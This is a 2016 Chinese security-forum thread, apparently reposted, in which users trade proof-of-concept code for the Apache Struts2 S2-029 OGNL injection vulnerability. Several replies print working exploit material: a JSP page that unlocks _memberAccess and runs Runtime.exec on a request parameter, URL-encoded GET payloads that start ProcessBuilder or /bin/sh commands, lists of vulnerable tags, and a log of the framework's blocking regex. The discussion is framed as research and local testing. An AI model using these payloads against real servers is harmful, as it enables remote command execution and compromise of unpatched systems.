S2-029漏洞GET poc?? 悬赏 5 WB 20160320

有人类能print红色打码部分的内容吗?

javascript:void(0)S2-029漏洞GET poc?? 悬赏 5 WB 20160320_第1张图片

收藏 感谢(0)
分享到: 0
16 个回复
  1. 1# 银冥币 (好好学习天天向上(号以借人,非本人使用)) | 2016-03-20 01:09

    链接http://zhanghang.org/?p=84
    POC
    <%@page import="java.util.HashSet"%>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <html>
    <head><title>s2-029</title></head>
    <body>
    <%
      String cmd = request.getParameter("cmd");
      request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#[email protected]@getRuntime(),#a.exec('"+cmd+"'),new java.lang.String('");
    %>
    <s:i18n name="%{#request.lan}">xyz</s:i18n>
    </body>
    </html>

  2. 2# cf_hb (10000定律<=>实践ing) | 2016-03-20 08:28

    poc到处都可以找到了

  3. 3# Viigoss (只要不挂,眼睛一睁,又是淫荡的一天!) | 2016-03-20 20:40

    @银冥币 你发的这是本地验证的,我要的是图片中 get方法测试的poc。

  4. 4# Viigoss (只要不挂,眼睛一睁,又是淫荡的一天!) | 2016-03-20 20:41

    @cf_hb 本地验证的脚本,不能叫做poc。0.0

  5. 5# 感谢(1) 习总夸我好青年 | 2016-03-20 21:48

    楼主 我也求一个

  6. 6# cf_hb (10000定律<=>实践ing) | 2016-03-20 22:31

    @Viigoss 哈哈。。。本地自检自查poc?

  7. 7# Viigoss (只要不挂,眼睛一睁,又是淫荡的一天!) | 2016-03-20 22:35

    @cf_hb 不是么? 各种本地自查的poc被各种转发的很开心,然并卵。

  8. 8# loopx9 | 2016-03-20 23:42

    [link href="http://blog.nsfocus.net/struts-framework-s2-29-remote-code-execution-vulnerability/"]http://blog.nsfocus.net/struts-framework-s2-29-remote-code-execution-vulnerability/
    [/link]

    <s:set var="%{#parameters.tang3}"/>

    http://localhost:8080/struts2-blank/example/HelloWorld.action?tang3=',%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D,new%20java.lang.ProcessBuilder('calc').start(),'

  9. 9# 习总夸我好青年 | 2016-03-21 00:46

    @loopx9 没法用啊!!!!大哥

  10. 10# f4ckbaidu (wtf) | 2016-03-21 08:55

    你不知道标签name有卵用

  11. 11# 蝶离飞 | 2016-03-21 10:14

    @Viigoss 你就觉得360的大牛不是在装逼??

  12. 12# Hex (◐_◑) | 2016-03-21 10:31

    @习总夸我好青年
    在tomcat中部署好struts2后
    在\tomcat\webapps\struts2-blank\WEB-INF\jsp\example\HelloWorld.jsp中添加<s:set var="%{#parameters.tang3}"/>
    QQ截图20160321102948.png
    然后启动tomcat,接着使用POC验证

  13. 13# Hex (◐_◑) | 2016-03-21 10:43

    注视错了,随手打出了/*,请忽略 - -!

  14. 14# 三秋 | 2016-03-21 10:47

    @Viigoss  看看这个地址http://zhanghang.org/?p=84
    然后按照博客里的验证例子测试就明白了。
    我测试过下面这些标签(也就是360打码的那一段),都是存在漏洞的。
    <s:i18n name="%{#request.lan}">xxxxx</s:i18n>
    <s:property value="%{#request.lan}"/>
    <s:if test="%{#request.lan}">
      nothing
    </s:if>
    <s:text name="%{#request.lan}" />

  15. 15# 三秋 | 2016-03-21 10:49

    @三秋  当然 这个lan变量需要可控  才能利用,在不看源代码的情况下是看不到页面有没有用标签,标签中变量名。
    所以这个漏洞危害大,但利用有条件限制。

  16. 16# 0c0c0f | 2016-04-08 01:46

    get形式的沙盒会拦截:
    请求:
    http://localhost:8081/example/HelloWorld.action?cmd=%23_memberAccess%5b%27allowPrivateAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27allowProtectedAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27allowPackageProtectedAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27allowStaticMethodAccess%27%5d%3dtrue%2c%23_memberAccess%5b%27excludedPackageNamePatterns%27%5d%3d%23_memberAccess%5b%27acceptProperties%27%5d%2c%23_memberAccess%5b%27excludedClasses%27%5d%3d%23_memberAccess%5b%27acceptProperties%27%5d%2c%23a%3d%40java%2elang%2eRuntime%40getRuntime%28%29%2c%23a%2eexec%28%27touch%20%2ftmp%2ffuckxxx%27%29%2c%28new%20java%2elang%2eProcessBuilder%28new%20java%2elang%2eString%5b%5d%7b%27%2fbin%2fsh%27%2c%27-c%27%2c%27open%20%2fApplications%2fCalculator%2eapp%27%7d%29%29%2estart%28%29
    拦截:
    08-Apr-2016 01:24:57.108 WARNING [http-nio-8081-exec-2] com.opensymphony.xwork2.util.logging.jdk.JdkLogger.warn Parameter [#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#[email protected]@getRuntime(),#a.exec('touch /tmp/fuckxxx'),(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','open /Applications/Calculator.app'})).start()] matches excluded pattern [(^|.*#)(dojo|struts|session|request|application|servlet(Request|Response)|parameters|context|_memberAccess)(\.|\[).*]!
    下面这个也会拦截
    tang3=%27,%23_memberAccess%5B"excludedClasses"%5D%3D%7B1%7D,new%20java.lang.ProcessBuilder(%27calc%27).start(),%27

你可能感兴趣的:(S2-029漏洞GET poc?? 悬赏 5 WB 20160320)